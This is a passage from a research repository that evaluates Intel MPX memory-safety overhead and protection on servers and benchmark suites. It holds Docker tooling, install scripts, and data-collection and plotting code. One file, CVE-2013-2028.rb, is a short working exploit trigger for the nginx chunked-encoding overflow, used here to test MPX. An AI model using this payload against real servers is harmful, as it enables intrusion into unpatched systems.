├── gspawn.h │ │ │ │ ├── gstdio.h │ │ │ │ ├── gstrfuncs.h │ │ │ │ ├── gstring.h │ │ │ │ ├── gtestutils.h │ │ │ │ ├── gthread.h │ │ │ │ ├── gthreadpool.h │ │ │ │ ├── gtimer.h │ │ │ │ ├── gtree.h │ │ │ │ ├── gtypes.h │ │ │ │ ├── gunicode.h │ │ │ │ ├── gurifuncs.h │ │ │ │ ├── gutils.h │ │ │ │ ├── gvariant.h │ │ │ │ ├── gvarianttype.h │ │ │ │ └── gwin32.h │ │ │ ├── glibconfig.h │ │ │ ├── gmodule.h │ │ │ ├── gobject │ │ │ │ ├── gboxed.h │ │ │ │ ├── gclosure.h │ │ │ │ ├── genums.h │ │ │ │ ├── gmarshal.h │ │ │ │ ├── gobject.h │ │ │ │ ├── gobjectnotifyqueue.c │ │ │ │ ├── gparam.h │ │ │ │ ├── gparamspecs.h │ │ │ │ ├── gsignal.h │ │ │ │ ├── gsourceclosure.h │ │ │ │ ├── gtype.h │ │ │ │ ├── gtypemodule.h │ │ │ │ ├── gtypeplugin.h │ │ │ │ ├── gvalue.h │ │ │ │ ├── gvaluearray.h │ │ │ │ ├── gvaluecollector.h │ │ │ │ └── gvaluetypes.h │ │ │ ├── libxml │ │ │ │ ├── DOCBparser.h │ │ │ │ ├── HTMLparser.h │ │ │ │ ├── HTMLtree.h │ │ │ │ ├── SAX.h │ │ │ │ ├── SAX2.h │ │ │ │ ├── c14n.h │ │ │ │ ├── catalog.h │ │ │ │ ├── chvalid.h │ │ │ │ ├── debugXML.h │ │ │ │ ├── dict.h │ │ │ │ ├── encoding.h │ │ │ │ ├── entities.h │ │ │ │ ├── globals.h │ │ │ │ ├── hash.h │ │ │ │ ├── list.h │ │ │ │ ├── nanoftp.h │ │ │ │ ├── nanohttp.h │ │ │ │ ├── parser.h │ │ │ │ ├── parserInternals.h │ │ │ │ ├── pattern.h │ │ │ │ ├── relaxng.h │ │ │ │ ├── schemasInternals.h │ │ │ │ ├── schematron.h │ │ │ │ ├── threads.h │ │ │ │ ├── tree.h │ │ │ │ ├── uri.h │ │ │ │ ├── valid.h │ │ │ │ ├── xinclude.h │ │ │ │ ├── xlink.h │ │ │ │ ├── xmlIO.h │ │ │ │ ├── xmlautomata.h │ │ │ │ ├── xmlerror.h │ │ │ │ ├── xmlexports.h │ │ │ │ ├── xmlmemory.h │ │ │ │ ├── xmlmodule.h │ │ │ │ ├── xmlreader.h │ │ │ │ ├── xmlregexp.h │ │ │ │ ├── xmlsave.h │ │ │ │ ├── xmlschemas.h │ │ │ │ ├── xmlschemastypes.h │ │ │ │ ├── xmlstring.h │ │ │ │ ├── xmlunicode.h │ │ │ │ ├── xmlversion.h │ │ │ │ ├── xmlwriter.h │ │ │ │ ├── xpath.h │ │ │ │ ├── xpathInternals.h │ │ │ │ └── xpointer.h │ │ │ └── vips │ │ │ │ ├── Makefile.am │ │ │ │ ├── Makefile.in │ │ │ │ ├── almostdeprecated.h │ │ │ │ ├── arithmetic.h │ │ │ │ ├── boolean.h │ │ │ │ ├── buf.h │ │ │ │ ├── callback.h │ │ │ │ ├── check.h │ │ │ │ ├── cimg_funcs.h │ │ │ │ ├── colour.h │ │ │ │ ├── conversion.h │ │ │ │ ├── convolution.h │ │ │ │ ├── debug.h │ │ │ │ ├── deprecated.h │ │ │ │ ├── disp.h │ │ │ │ ├── dispatch.h │ │ │ │ ├── error.h │ │ │ │ ├── format.h │ │ │ │ ├── freq_filt.h │ │ │ │ ├── generate.h │ │ │ │ ├── header.h │ │ │ │ ├── histograms_lut.h │ │ │ │ ├── image.h │ │ │ │ ├── inplace.h │ │ │ │ ├── internal.h │ │ │ │ ├── interpolate.h │ │ │ │ ├── intl.h │ │ │ │ ├── mask.h │ │ │ │ ├── memory.h │ │ │ │ ├── meta.h │ │ │ │ ├── morphology.h │ │ │ │ ├── mosaicing.h │ │ │ │ ├── object.h │ │ │ │ ├── other.h │ │ │ │ ├── private.h │ │ │ │ ├── rect.h │ │ │ │ ├── region.h │ │ │ │ ├── relational.h │ │ │ │ ├── resample.h │ │ │ │ ├── semaphore.h │ │ │ │ ├── struct.h │ │ │ │ ├── thread.h │ │ │ │ ├── threadpool.h │ │ │ │ ├── transform.h │ │ │ │ ├── util.h │ │ │ │ ├── version.h │ │ │ │ ├── version.h.in │ │ │ │ ├── video.h │ │ │ │ └── vips.h │ │ │ ├── inplace │ │ │ ├── Makefile │ │ │ ├── Makefile.am │ │ │ ├── flood.c │ │ │ ├── im_circle.c │ │ │ ├── im_insertplace.c │ │ │ ├── im_paintrect.c │ │ │ ├── im_plotmask.c │ │ │ ├── inplace_dispatch.c │ │ │ ├── line_draw.c │ │ │ ├── plot_point.c │ │ │ └── smudge_area.c │ │ │ ├── iofuncs │ │ │ ├── Makefile │ │ │ ├── base64.c │ │ │ ├── base64.h │ │ │ ├── buf.c │ │ │ ├── buffer.c │ │ │ ├── callback.c │ │ │ ├── check.c │ │ │ ├── debug.c │ │ │ ├── dispatch_types.c │ │ │ ├── error.c │ │ │ ├── header.c │ │ │ ├── im_binfile.c │ │ │ ├── im_close.c │ │ │ ├── im_cp_desc.c │ │ │ ├── im_demand_hint.c │ │ │ ├── im_generate.c │ │ │ ├── im_guess_prefix.c │ │ │ ├── im_histlin.c │ │ │ ├── im_image.c │ │ │ ├── im_init_world.c │ │ │ ├── im_mapfile.c │ │ │ ├── im_open.c │ │ │ ├── im_open_vips.c │ │ │ ├── im_partial.c │ │ │ ├── im_prepare.c │ │ │ ├── im_setbuf.c │ │ │ ├── im_setupout.c │ │ │ ├── im_unmapfile.c │ │ │ ├── im_wrapmany.c │ │ │ ├── im_writeline.c │ │ │ ├── init.c │ │ │ ├── memory.c │ │ │ ├── meta.c │ │ │ ├── object.c │ │ │ ├── package.c │ │ │ ├── rect.c │ │ │ ├── region.c │ │ │ ├── semaphore.c │ │ │ ├── sink.c │ │ │ ├── sinkdisc.c │ │ │ ├── sinkmemory.c │ │ │ ├── sinkscreen.c │ │ │ ├── threadpool.c │ │ │ ├── time.c │ │ │ ├── util.c │ │ │ └── window.c │ │ │ ├── mask │ │ │ ├── Makefile │ │ │ ├── im_gaussmasks.c │ │ │ ├── im_logmasks.c │ │ │ ├── im_matcat.c │ │ │ ├── im_matinv.c │ │ │ ├── im_matmul.c │ │ │ ├── im_mattrn.c │ │ │ ├── mask_dispatch.c │ │ │ ├── matalloc.c │ │ │ ├── rotmask.c │ │ │ └── rw_mask.c │ │ │ ├── morphology │ │ │ ├── Makefile │ │ │ ├── im_cntlines.c │ │ │ ├── im_dilate.c │ │ │ ├── im_erode.c │ │ │ ├── im_label_regions.c │ │ │ ├── im_profile.c │ │ │ ├── im_rank.c │ │ │ ├── im_rank_image.c │ │ │ ├── im_zerox.c │ │ │ └── morph_dispatch.c │ │ │ ├── mosaicing │ │ │ ├── Makefile │ │ │ ├── global_balance.c │ │ │ ├── global_balance.h │ │ │ ├── im_align_bands.c │ │ │ ├── im_avgdxdy.c │ │ │ ├── im_chkpair.c │ │ │ ├── im_clinear.c │ │ │ ├── im_improve.c │ │ │ ├── im_initialize.c │ │ │ ├── im_lrcalcon.c │ │ │ ├── im_lrmerge.c │ │ │ ├── im_lrmosaic.c │ │ │ ├── im_maxpos_subpel.c │ │ │ ├── im_remosaic.c │ │ │ ├── im_tbcalcon.c │ │ │ ├── im_tbmerge.c │ │ │ ├── im_tbmosaic.c │ │ │ ├── match.c │ │ │ ├── merge.h │ │ │ ├── mosaic.h │ │ │ ├── mosaic1.c │ │ │ └── mosaicing_dispatch.c │ │ │ ├── other │ │ │ ├── Makefile │ │ │ ├── cooc_funcs.c │ │ │ ├── glds_funcs.c │ │ │ ├── im_benchmark.c │ │ │ ├── im_dif_std.c │ │ │ ├── im_eye.c │ │ │ ├── im_grey.c │ │ │ ├── im_make_xy.c │ │ │ ├── im_meanstd.c │ │ │ ├── im_simcontr.c │ │ │ ├── im_sines.c │ │ │ ├── im_spatres.c │ │ │ ├── im_zone.c │ │ │ └── other_dispatch.c │ │ │ ├── relational │ │ │ ├── Makefile │ │ │ ├── im_blend.c │ │ │ ├── im_ifthenelse.c │ │ │ ├── relational.c │ │ │ └── relational_dispatch.c │ │ │ ├── resample │ │ │ ├── Makefile │ │ │ ├── bicubic.cpp │ │ │ ├── im_affine.c │ │ │ ├── im_rightshift_size.c │ │ │ ├── im_shrink.c │ │ │ ├── im_stretch3.c │ │ │ ├── interpolate.c │ │ │ ├── lbb.cpp │ │ │ ├── nohalo.cpp │ │ │ ├── resample_dispatch.c │ │ │ ├── templates.h │ │ │ ├── transform.c │ │ │ └── vsqbs.cpp │ │ │ ├── subdirs_common.mk │ │ │ ├── video │ │ │ ├── Makefile │ │ │ ├── im_video_test.c │ │ │ ├── im_video_v4l1.c │ │ │ └── video_dispatch.c │ │ │ └── vips.c │ └── x264 │ │ ├── Makefile │ │ └── src │ │ ├── bs.h │ │ ├── cabac.c │ │ ├── cabac.h │ │ ├── common.c │ │ ├── common.h │ │ ├── config.h │ │ ├── cpu.c │ │ ├── cpu.h │ │ ├── dct.c │ │ ├── dct.h │ │ ├── display-x11.c │ │ ├── display.h │ │ ├── encoder_analyse.c │ │ ├── encoder_analyse.h │ │ ├── encoder_cabac.c │ │ ├── encoder_cavlc.c │ │ ├── encoder_encoder.c │ │ ├── encoder_macroblock.c │ │ ├── encoder_macroblock.h │ │ ├── encoder_me.c │ │ ├── encoder_me.h │ │ ├── encoder_ratecontrol.c │ │ ├── encoder_ratecontrol.h │ │ ├── encoder_rdo.c │ │ ├── encoder_set.c │ │ ├── encoder_set.h │ │ ├── encoder_slicetype.c │ │ ├── frame.c │ │ ├── frame.h │ │ ├── macroblock.c │ │ ├── macroblock.h │ │ ├── matroska.c │ │ ├── matroska.h │ │ ├── mc.c │ │ ├── mc.h │ │ ├── mdate.c │ │ ├── muxers.c │ │ ├── muxers.h │ │ ├── osdep.h │ │ ├── pixel.c │ │ ├── pixel.h │ │ ├── predict.c │ │ ├── predict.h │ │ ├── quant.c │ │ ├── quant.h │ │ ├── set.c │ │ ├── set.h │ │ ├── visualize.c │ │ ├── visualize.h │ │ ├── vlc.c │ │ ├── x264.c │ │ ├── x264.h │ │ └── x86 │ │ ├── dct.h │ │ ├── mc.h │ │ ├── pixel.h │ │ ├── predict.h │ │ ├── quant.h │ │ └── util.h └── phoenix │ ├── README │ ├── histogram │ ├── Makefile │ └── src │ │ ├── histogram-pthread.c │ │ └── histogram-seq.c │ ├── include │ ├── map_reduce.h │ └── stddefines.h │ ├── kmeans │ ├── Makefile │ └── src │ │ ├── kmeans-pthread.c │ │ └── kmeans-seq.c │ ├── linear_regression │ ├── Makefile │ └── src │ │ ├── linear_regression-pthread.c │ │ └── linear_regression-seq.c │ ├── matrix_multiply │ ├── Makefile │ └── src │ │ ├── matrix_multiply-pthread.c │ │ └── matrix_multiply-seq.c │ ├── pca │ ├── Makefile │ └── src │ │ ├── pca-pthread.c │ │ └── pca-seq.c │ ├── string_match │ ├── Makefile │ └── src │ │ ├── string_match-pthread.c │ │ └── string_match-seq.c │ └── word_count │ ├── Makefile │ └── src │ ├── sort-pthread.c │ ├── sort-pthread.h │ ├── sort.c │ ├── sort.h │ ├── word_count-pthread.c │ └── word_count-seq.c └── tests ├── README.md ├── __init__.py ├── abstract_acceptance_test.py ├── abstract_test.py ├── detection.py ├── nose2-serial.cfg ├── nose2.cfg ├── test_parsec.py └── test_phoenix.py /.dockerignore: -------------------------------------------------------------------------------- 1 | # IntelliJ project files 2 | .idea 3 | *.iml 4 | out 5 | gen 6 | 7 | # Project 8 | data*/ 9 | experiments/build/* 10 | publications/* 11 | 12 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org 2 | 3 | root = true 4 | 5 | [*] 6 | charset = utf-8 7 | end_of_line = lf 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | 11 | [*.{py,rst,ini}] 12 | indent_style = space 13 | indent_size = 4 14 | 15 | # Override for Makefile 16 | [{Makefile, makefile, GNUmakefile}] 17 | indent_style = tab 18 | indent_size = 4 19 | 20 | [*.mk] 21 | indent_style = tab 22 | indent_size = 4 23 | -------------------------------------------------------------------------------- /CONTRIBUTORS: -------------------------------------------------------------------------------- 1 | Here is the list of the primary authors & contributors: 2 | 3 | * Oleksii Oleksenko (oleksii.oleksenko@tu-dresden.de) 4 | * Dmitrii Kuvaiskii (dmitrii.kuvaiskii@tu-dresden.de) 5 | 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Oleksii Oleksenko 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | IMG_NAME = mpx_evaluation 2 | CONTAINER_NAME = cb_${ID} 3 | 4 | DOCKER = sudo docker 5 | DOCKER_RUN = $(DOCKER) run --log-driver none -it -v `pwd`/data_${ID}:/data 6 | 7 | .PHONY: all build run start stop clean clean_all 8 | 9 | all: build 10 | 11 | build: 12 | @$(DOCKER) build --rm=true -t $(IMG_NAME) . 13 | 14 | run: 15 | @$(DOCKER_RUN) --privileged=true --name=$(CONTAINER_NAME) $(IMG_NAME) 16 | 17 | run_network: 18 | @$(DOCKER_RUN) --network=host -p 8080:8080 --privileged=true --name=$(CONTAINER_NAME) $(IMG_NAME) 19 | 20 | start: 21 | @$(DOCKER) start -i $(CONTAINER_NAME) 22 | 23 | stop: 24 | @$(DOCKER) stop $(CONTAINER_NAME) 25 | 26 | pack: 27 | @$(DOCKER) commit $(CONTAINER_NAME) $(IMG_NAME) 28 | @$(DOCKER) save $(IMG_NAME) -o $(IMG_NAME).tar 29 | sudo chmod 755 $(IMG_NAME).tar 30 | gzip $(IMG_NAME).tar > $(IMG_NAME).tar.gz 31 | @tar -zcvf data.tar.gz data_${ID}/ 32 | 33 | clean: 34 | @$(DOCKER) rm $(CONTAINER_NAME) 35 | 36 | clean_all: 37 | @$(DOCKER) rm $(CONTAINER_NAME) 38 | @$(DOCKER) rmi $(IMG_NAME) 39 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/__init__.py -------------------------------------------------------------------------------- /asm_measurements/README.md: -------------------------------------------------------------------------------- 1 | # Installation 2 | 3 | *Note:* this tool doesn't seem to work in a container 4 | 5 | First run `get_framework.sh`, then `install.sh` (run both from **this** directory). 6 | Experiments should be ready to run afterwards, although not guaranteed. 7 | 8 | If you have any issues, try doing the installation manually: 9 | Put the experiment files (.sh1 and .inc) into the `TestScripts` directory inside the Agner Fog's testing framework. 10 | The framework itself can be found [here](http://www.agner.org/optimize/testp.zip). 11 | The instructions for running the script can be found in the framework documentation. 12 | 13 | # Running the experiment 14 | 15 | In `TestScripts`: 16 | 17 | ``` 18 | > ./_mpx.sh1 19 | ``` 20 | -------------------------------------------------------------------------------- /asm_measurements/get_framework.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # get the framework 4 | wget http://www.agner.org/optimize/testp.zip 5 | unzip testp.zip 6 | 7 | mkdir TestScripts/ 8 | mv TestScripts.zip TestScripts/ 9 | cd TestScripts/ 10 | unzip TestScripts.zip 11 | rm TestScripts.zip 12 | cd .. 13 | 14 | mkdir PMCTest/ 15 | mv PMCTest.zip PMCTest/ 16 | cd PMCTest/ 17 | unzip PMCTest.zip 18 | rm PMCTest.zip 19 | cd .. 20 | 21 | # copy our files 22 | cp *.sh1 TestScripts/ 23 | cp *.inc TestScripts/ 24 | -------------------------------------------------------------------------------- /asm_measurements/install.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | while true; do 4 | read -p "Are you sure you've read the README? " yn 5 | case $yn in 6 | [Yy]* ) break;; 7 | [Nn]* ) exit;; 8 | * ) echo "Please answer yes or no.";; 9 | esac 10 | done 11 | 12 | apt-get install g++-multilib 13 | cd /root/bin/ 14 | wget http://www.nasm.us/pub/nasm/releasebuilds/2.12.02/nasm-2.12.02.tar.gz 15 | tar xf nasm-2.12.02.tar.gz 16 | rm nasm-2.12.02.tar.gz 17 | cd nasm-2.12.02/ 18 | 19 | ./configure 20 | make 21 | make install 22 | 23 | 24 | cd $COMP_BENCH/asm_measurements/ 25 | 26 | rm -rf ./drv/ 27 | mkdir drv 28 | cd drv/ 29 | unzip ../DriverSrcLinux.zip 30 | chmod a+x *.sh 31 | make 32 | ./install.sh 33 | 34 | cd ../PMCTest/ 35 | chmod a+x *.sh 36 | 37 | cd TestScripts/ 38 | chmod a+x *.sh 39 | ./init.sh 40 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/core/__init__.py -------------------------------------------------------------------------------- /core/abstract_config.py: -------------------------------------------------------------------------------- 1 | """ 2 | Abstract Configuration class 3 | Based on Borg pattern (similar to Singleton) 4 | """ 5 | from abc import ABCMeta 6 | 7 | 8 | class AbstractConfig: 9 | __metaclass__ = ABCMeta 10 | __shared_state = {} 11 | 12 | def __init__(self): 13 | self.__dict__ = self.__shared_state 14 | 15 | def __str__(self): 16 | return self.__shared_state 17 | -------------------------------------------------------------------------------- /experiments/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/__init__.py -------------------------------------------------------------------------------- /experiments/apache/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/apache/__init__.py -------------------------------------------------------------------------------- /experiments/apache/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("apache", user_parameters={ 9 | "num_clients": ["Concurrency Level", lambda l: collect.get_int_from_string(l)], 10 | "tput": ["Requests per second", lambda l: collect.get_float_from_string(l)], 11 | "lat": ["[ms] (mean)", lambda l: collect.get_float_from_string(l)], 12 | "complete_requests": ["Complete requests", lambda l: collect.get_int_from_string(l)], 13 | "failed_requests": ["Failed requests", lambda l: collect.get_int_from_string(l)], 14 | }) 15 | -------------------------------------------------------------------------------- /experiments/apache/plot.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import numpy as np 3 | 4 | from core import prepare 5 | from core import draw 6 | 7 | BENCH_NAME = 'apache' 8 | EXP_NAME = BENCH_NAME 9 | 10 | 11 | def main(t="perf"): 12 | logging.info("Processing data") 13 | df = prepare.process_results(t) 14 | if t == "tput": 15 | prepare.reorder_compilers(df, t) 16 | plot = draw.LinePlotTput() 17 | plot.get_data(df, []) 18 | plot.build_plot( 19 | xlim=(0, 54), 20 | xticks=range(0, 60, 10), 21 | ylim=(0.42, 0.92), 22 | yticks=np.arange(0.1, 1, 0.1), 23 | ) 24 | plot.save_plot("apache_%s.pdf" % t) 25 | 26 | else: 27 | logging.error("Unknown plot type") 28 | exit(-1) 29 | -------------------------------------------------------------------------------- /experiments/apache_security/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/apache_security/__init__.py -------------------------------------------------------------------------------- /experiments/apache_security/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | 5 | def main(): 6 | # dummy 7 | pass 8 | -------------------------------------------------------------------------------- /experiments/memcached/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/memcached/__init__.py -------------------------------------------------------------------------------- /experiments/memcached/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | import re 5 | import os 6 | 7 | from core import collect 8 | 9 | 10 | def main(): 11 | full_output_file = os.environ['DATA_PATH'] + "/results/memcached/memcached.log" 12 | 13 | # reshape log file for per-line collection 14 | with open(full_output_file, 'r') as f: 15 | old = f.readlines() 16 | new = old[:] 17 | for i, l in enumerate(old): 18 | if l.startswith('Total Statistics'): 19 | new[i+3] = 'TotalStatistics' + new[i+3] 20 | with open(full_output_file, 'w') as f: 21 | for s in new: 22 | f.write("%s" % s) 23 | 24 | collect.collect("memcached", user_parameters={ 25 | "num_clients": ["input:", lambda l: int(re.search(r'input: (\d{1,4})', l).group(1))], 26 | "tput": ["TPS: ", lambda l: float(l.split('TPS: ')[1].split()[0])], 27 | "lat": ["TotalStatisticsGlobal", lambda l: float(l.split()[8].split()[0])], 28 | }) 29 | -------------------------------------------------------------------------------- /experiments/memcached/plot.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import numpy as np 3 | 4 | from core import prepare 5 | from core import draw 6 | 7 | 8 | BENCH_NAME = 'memcached' 9 | EXP_NAME = BENCH_NAME 10 | 11 | 12 | def main(t="perf"): 13 | logging.info("Processing data") 14 | df = prepare.process_results(t) 15 | if t == "tput": 16 | df["lat"] /= 1000 17 | prepare.reorder_compilers(df, t) 18 | plot = draw.LinePlotTput() 19 | plot.get_data(df, []) 20 | plot.build_plot( 21 | xlim=(90, 290), 22 | xticks=range(100, 300, 50), 23 | ylim=(0.0, 3.0), 24 | yticks=np.arange(0.5, 3.0, 0.5), 25 | legend_loc='upper right' 26 | ) 27 | plot.save_plot("memcached_%s.pdf" % t) 28 | 29 | else: 30 | logging.error("Unknown plot type") 31 | exit(-1) 32 | -------------------------------------------------------------------------------- /experiments/memcached_security/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/memcached_security/__init__.py -------------------------------------------------------------------------------- /experiments/memcached_security/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | 5 | def main(): 6 | # dummy 7 | pass 8 | 9 | -------------------------------------------------------------------------------- /experiments/mergedplots/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/mergedplots/__init__.py -------------------------------------------------------------------------------- /experiments/micro/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/micro/__init__.py -------------------------------------------------------------------------------- /experiments/micro/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("micro") 9 | -------------------------------------------------------------------------------- /experiments/nginx/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/nginx/__init__.py -------------------------------------------------------------------------------- /experiments/nginx/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("nginx", user_parameters={ 9 | "num_clients": ["Concurrency Level", lambda l: collect.get_int_from_string(l)], 10 | "tput": ["Requests per second", lambda l: collect.get_float_from_string(l)], 11 | "lat": ["[ms] (mean)", lambda l: collect.get_float_from_string(l)], 12 | "complete_requests": ["Complete requests", lambda l: collect.get_int_from_string(l)], 13 | "failed_requests": ["Failed requests", lambda l: collect.get_int_from_string(l)], 14 | }) 15 | -------------------------------------------------------------------------------- /experiments/nginx/plot.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import numpy as np 3 | 4 | from core import prepare 5 | from core import draw 6 | 7 | BENCH_NAME = 'nginx' 8 | EXP_NAME = BENCH_NAME 9 | COMPILER_NAME = "long" 10 | 11 | 12 | def main(t="perf"): 13 | logging.info("Processing data") 14 | df = prepare.process_results(t) 15 | if t == "tput": 16 | prepare.reorder_compilers(df, t) 17 | plot = draw.LinePlotTput() 18 | plot.get_data(df, []) 19 | plot.build_plot( 20 | # xlim=(0, 55), 21 | xticks=range(0, 100, 10), 22 | # ylim=(0.15, 0.72), 23 | yticks=np.arange(0.1, 1, 0.1), 24 | ) 25 | plot.save_plot("nginx_%s.pdf" % t) 26 | 27 | else: 28 | logging.error("Unknown plot type") 29 | exit(-1) 30 | -------------------------------------------------------------------------------- /experiments/nginx_security/CVE-2013-2028.rb: -------------------------------------------------------------------------------- 1 | # probably need to run: sudo gem install ronin 2 | require 'ronin' 3 | tcp_connect(ARGV[0],ARGV[1].to_i) { |s| 4 | payload = ["GET / HTTP/1.1\r\n", 5 | "Host: 0.0.0.0\r\n", 6 | "Accept: */*\r\n", 7 | "Transfer-Encoding: chunked\r\n\r\n"].join 8 | payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked 9 | payload << "A"*(4096+8) #padding 10 | payload << "C"*8 #cookie 11 | s.send(payload, 0) 12 | } -------------------------------------------------------------------------------- /experiments/nginx_security/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/nginx_security/__init__.py -------------------------------------------------------------------------------- /experiments/nginx_security/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | 5 | def main(): 6 | # dummy 7 | pass 8 | -------------------------------------------------------------------------------- /experiments/parsec/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/parsec/__init__.py -------------------------------------------------------------------------------- /experiments/parsec/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("parsec") 9 | -------------------------------------------------------------------------------- /experiments/parsec_var_input/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/parsec_var_input/__init__.py -------------------------------------------------------------------------------- /experiments/parsec_var_input/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("parsec_var_input") 9 | -------------------------------------------------------------------------------- /experiments/phoenix/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/phoenix/__init__.py -------------------------------------------------------------------------------- /experiments/phoenix/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("phoenix") 9 | -------------------------------------------------------------------------------- /experiments/phoenix_var_input/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/phoenix_var_input/__init__.py -------------------------------------------------------------------------------- /experiments/phoenix_var_input/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("phoenix_var_input") 9 | -------------------------------------------------------------------------------- /experiments/phoenix_var_input/create_inputs.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cd /data/inputs/phoenix/linear_regression/input/ 4 | touch key_200MB.txt; for i in 1 2; do cat key_file_100MB.txt >> key_200MB.txt; done; 5 | touch key_400MB.txt; for i in 1 2 3 4; do cat key_file_100MB.txt >> key_400MB.txt; done; 6 | touch key_800MB.txt; for i in 1 2 3 4 5 6 7 8; do cat key_file_100MB.txt >> key_800MB.txt; done; 7 | cd - 8 | 9 | cd /data/inputs/phoenix/string_match/input/ 10 | touch key_200MB.txt; for i in 1 2; do cat key_file_100MB.txt >> key_200MB.txt; done; 11 | touch key_400MB.txt; for i in 1 2 3 4; do cat key_file_100MB.txt >> key_400MB.txt; done; 12 | touch key_800MB.txt; for i in 1 2 3 4 5 6 7 8; do cat key_file_100MB.txt >> key_800MB.txt; done; 13 | cd - 14 | 15 | cd /data/inputs/phoenix/word_count/input/ 16 | touch key_200MB.txt; 